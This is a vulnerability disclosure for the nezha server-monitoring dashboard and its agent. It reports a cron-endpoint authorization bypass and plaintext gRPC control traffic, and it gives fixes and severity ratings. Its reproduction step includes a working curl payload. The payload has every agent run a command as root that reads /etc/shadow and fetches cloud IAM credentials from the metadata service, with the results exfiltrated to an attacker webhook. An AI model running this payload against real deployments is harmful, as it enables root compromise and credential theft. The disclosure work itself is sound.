Details
Step 2: Create the cross-tenant cron.
curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"name\":\"x\",\"task_type\":0,\"scheduler\":\"*/1 * * * * *\",\"command\":\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"servers\":[],\"cover\":1,\"push_successful\":true,\"notification_group_id\":$GID}" \
http://nezha.example.com/api/v1/cron
Step 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From c1c1cd1.../webhook.site/<attacker>:
[Scheduled Task Executed Successfully] x, admin-prod-db-01
uid=0(root) gid=0(root) groups=0(root)
admin-prod-db-01.internal
root:$6$KfTdXrLP$...
ASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token
(Output is shown for each of the N agents in the deployment, one webhook fire per agent.)
Reachability — additional notes
- Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via
singleton.Conf.Oauth2[provider]. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE. - The nezha agent typically runs as root (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses
sudo systemctl. - The attack works whether
Cover=CronCoverAll(deny-list, empty) orCover=CronCoverIgnoreAll(allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step).Cover=CronCoverAll, Servers=[]is the simplest payload.
Suggested fix
- Switch `/cron` writes to `adminHandler`. Same fix as the
/userand/settingroutes already use.
auth.POST("/cron", adminHandler(createCron))
auth.PATCH("/cron/:id", adminHandler(updateCron))
auth.GET("/cron/:id/manual", adminHandler(manualTriggerCron))
auth.POST("/batch-delete/cron", adminHandler(batchDeleteCron))
- Per-server permission gate in `CronTrigger`. Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add the equivalent of
canSendTaskToServer(task, server)(already used inservice/rpc/rpc.go:179-190for service tasks) before eachs.TaskStream.Send():
for _, s := range ServerShared.Range {
if cr.UserID != s.UserID && !cronOwnerIsAdmin(cr) {
continue
}
// ... existing send logic
}
- Reject empty `Servers` for `Cover=CronCoverAll`. A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role:
if cf.Cover == model.CronCoverAll && len(cf.Servers) == 0 {
return 0, errors.New("a cover-all cron must explicitly list at least one ignored server")
}
- Optional: forbid
cf.PushSuccessful=truefor non-admin to slow down the output-exfil step.
Severity
- CVSS 3.1: Critical —
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H≈ 9.0. - PR:L because attacker needs
RoleMember(admin-issued, or OAuth2 auto-bind). - S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone).
- C/I/A:H because RCE-as-root is the primary impact.
- Auth: authenticated
RoleMember(Role == 1). - CWE: CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management).
Reproduction environment
- Tested against:
nezhahq/nezhamaster @50dc8e660326b9f22990898142c58b7a5312b42a. - Code locations:
- Auth gate:
cmd/dashboard/controller/controller.go:131-135(commonHandler), 214-236 (handler defs) - Bypass:
cmd/dashboard/controller/cron.go:53-55(vacuous-trueCheckPermissionon emptycf.Servers) - Sink:
service/singleton/crontask.go:133-181(CronTriggeriterates all servers) - Output exfil:
service/rpc/nezha.go:56-76 - Comparison (correct gating):
cmd/dashboard/rpc/rpc.go:179-190(canSendTaskToServerfor service tasks)
Reporter
Eddie Ran. Filed via the GitHub Security Advisory reporter API. nezha's SECURITY.md mentions email [email protected]; happy to follow up there if the maintainer prefers email coordination.
This is a follow-up to the same auth-bypass class as GHSA-w4g9-mxgg-j532 (NEZHA-001 — /notification SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF.
---
Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001)
Filing channel issue: nezhahq/agent has private vulnerability reporting disabled (verified via GET /repos/nezhahq/agent/private-vulnerability-reporting), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread.
Summary. The dashboard→agent control channel uses plaintext gRPC by default. agentConfig.TLS zero-value is false; the install script's [y/N] prompt defaults to false. AuthHandler.RequireTransportSecurity() returns false. An on-path attacker on the dashboard↔agent network path captures client_secret+client_uuid, terminates the agent's TCP connection, and injects a CommandTask over plaintext gRPC. The agent runs the task via sh -c <attacker-string> as the systemd-installed UID (typically root).
Adjacent-network attack vector (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters).
Why filable. This *completes the threat model* for the dashboard-side findings (NEZHA-001 / -002 / -003) — those findings all implicitly assume a trusted dashboard→agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed.
Severity: High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host.
Suggested fix.
- Make TLS the install-script default (
[Y/n]) instead of[y/N]. - Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard's published key on first connect; refuse plaintext.
- Add
AuthHandler.RequireTransportSecurity()returningtrueunconditionally. - Document this as a must-enable in the agent install README.
Disclosure draft is on file in the moneyhunter campaign workspace under findings/NEZHA-AGENT-001-DISCLOSURE.md and findings/NEZHA-AGENT-001.yaml — happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on nezhahq/agent).
— Eddie Ran